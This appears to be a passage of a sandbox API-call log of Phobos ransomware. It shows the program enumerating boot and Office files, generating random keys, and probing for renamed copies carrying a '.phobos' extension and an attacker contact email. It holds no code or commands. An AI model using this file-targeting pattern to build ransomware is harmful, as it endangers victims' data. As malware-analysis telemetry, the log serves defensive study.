CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.716] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=76640) returned 1 [0124.716] CloseHandle (hObject=0x57c) returned 1 [0124.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0124.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.716] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.716] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.716] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.716] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77152) returned 1 [0124.716] CloseHandle (hObject=0x57c) returned 1 [0124.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0124.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.716] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.717] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.717] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.717] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=44888) returned 1 [0124.717] CloseHandle (hObject=0x57c) returned 1 [0124.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0124.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.717] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.717] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.717] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.717] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77152) returned 1 [0124.717] CloseHandle (hObject=0x57c) returned 1 [0124.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0124.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.718] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.718] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=76128) returned 1 [0124.718] CloseHandle (hObject=0x57c) returned 1 [0124.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0124.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.718] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.718] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=44952) returned 1 [0124.718] CloseHandle (hObject=0x57c) returned 1 [0124.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0124.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.719] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.719] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=75096) returned 1 [0124.719] CloseHandle (hObject=0x57c) returned 1 [0124.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0124.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.719] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.720] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45472) returned 1 [0124.720] CloseHandle (hObject=0x57c) returned 1 [0124.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0124.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.720] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.720] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77152) returned 1 [0124.720] CloseHandle (hObject=0x57c) returned 1 [0124.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0124.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.721] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.721] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=63840) returned 1 [0124.721] CloseHandle (hObject=0x57c) returned 1 [0124.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0124.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.721] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.721] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=42400) returned 1 [0124.721] CloseHandle (hObject=0x57c) returned 1 [0124.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0124.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.722] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.722] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=63832) returned 1 [0124.722] CloseHandle (hObject=0x57c) returned 1 [0124.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0124.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.722] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.722] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=42328) returned 1 [0124.722] CloseHandle (hObject=0x57c) returned 1 [0124.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0124.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.723] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.723] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=63840) returned 1 [0124.723] CloseHandle (hObject=0x57c) returned 1 [0124.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0124.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.723] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.725] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=42392) returned 1 [0124.725] CloseHandle (hObject=0x57c) returned 1 [0124.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0124.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.725] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.725] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.725] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.727] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=395226) returned 1 [0124.727] CloseHandle (hObject=0x57c) returned 1 [0124.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0124.727] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0124.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\bootmgr.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.728] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.728] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0124.728] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.728] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.728] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.728] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.729] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.729] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=162880) returned 1 [0124.729] CloseHandle (hObject=0x57c) returned 1 [0124.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0124.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.729] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.729] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=656088) returned 1 [0124.729] CloseHandle (hObject=0x57c) returned 1 [0124.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0124.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.730] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program 